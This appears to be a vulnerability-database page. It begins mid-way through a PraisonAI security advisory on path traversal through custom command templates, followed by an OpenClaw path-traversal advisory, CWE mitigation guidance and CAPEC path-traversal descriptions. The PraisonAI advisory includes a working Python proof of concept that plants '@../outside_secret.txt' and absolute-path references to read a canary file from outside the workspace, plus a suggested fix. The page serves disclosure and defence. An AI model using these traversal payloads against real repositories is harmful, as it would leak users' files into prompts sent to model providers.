`_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" \u003c\u003c\u0027PY\u0027\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -\u003e str:\n if importlib.util.find_spec(\"yaml\") is not None:\n return \"installed\"\n\n yaml_stub = types.ModuleType(\"yaml\")\n\n class YAMLError(Exception):\n pass\n\n def safe_load(text: str):\n data = {}\n for raw_line in text.splitlines():\n line = raw_line.strip()\n if not line or line.startswith(\"#\") or \":\" not in line:\n continue\n key, value = line.split(\":\", 1)\n data[key.strip()] = value.strip().strip(\"\u0027\\\"\")\n return data\n\n yaml_stub.safe_load = safe_load\n yaml_stub.YAMLError = YAMLError\n sys.modules[\"yaml\"] = yaml_stub\n return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -\u003e None:\n candidate = source_root / \"src\" / \"praisonai\"\n if (candidate / \"praisonai\").exists():\n sys.path.insert(0, str(candidate))\n return\n raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n def __init__(self, path: Path):\n self.path = path\n self.old = Path.cwd()\n\n def __enter__(self):\n os.chdir(self.path)\n\n def __exit__(self, *_exc):\n os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -\u003e None:\n commands_dir.mkdir(parents=True, exist_ok=True)\n (commands_dir / f\"{name}.md\").write_text(\n \"---\\n\"\n f\"description: {name}\\n\"\n \"---\\n\"\n f\"{body}\\n\",\n encoding=\"utf-8\",\n )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n temp_root = Path(tmp).resolve()\n workspace = temp_root / \"workspace\"\n workspace.mkdir()\n subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n inside = workspace / \"inside.txt\"\n outside = temp_root / \"outside_secret.txt\"\n inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n commands_dir = workspace / \".praisonai\" / \"commands\"\n write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n with pushd(workspace):\n relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n result = {\n \"vulnerable\": all(\n [\n CANARY in (relative_result or \"\"),\n CANARY in (absolute_result or \"\"),\n \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n \"@missing.txt\" in (missing_result or \"\"),\n not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n ]\n ),\n \"expectations\": {\n \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n },\n \"samples\": {\n \"relative_escape\": relative_result,\n \"absolute_escape\": absolute_result,\n \"inside_control\": inside_result,\n \"missing_control\": missing_result,\n \"shell_control\": shell_result,\n },\n \"yaml_dependency\": yaml_dependency,\n }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n \"expectations\": {\n \"absolute_path_discloses_outside_file\": true,\n \"inside_control_expands_workspace_file\": true,\n \"missing_control_leaves_missing_reference\": true,\n \"relative_parent_traversal_discloses_outside_file\": true,\n \"shell_control_does_not_create_file\": true\n },\n \"samples\": {\n \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n },\n \"vulnerable\": true,\n \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -\u003e Path:\n root = root.resolve()\n candidate = Path(value)\n if not candidate.is_absolute():\n candidate = root / candidate\n resolved = candidate.resolve()\n try:\n resolved.relative_to(root)\n except ValueError as exc:\n raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: \u003e= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html",
"id": "GHSA-xpx6-x8c2-mw5w",
"modified": "2026-10-08T17:57:49Z",
"published": "2026-10-08T17:57:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60088"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Project custom command templates can read outside-workspace files into model prompts"
}
GHSA-XQ39-5C6M-MCQ7
Vulnerability from github – Published: 2026-04-11 03:30 – Updated: 2026-04-11 03:30OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
{
"affected": [],
"aliases": [
"CVE-2026-3689"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-11T01:16:15Z",
"severity": "MODERATE"
},
"details": "OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.",
"id": "GHSA-xq39-5c6m-mcq7",
"modified": "2026-04-11T03:30:29Z",
"published": "2026-04-11T03:30:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jq4x-98m3-ggq6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3689"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-227"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.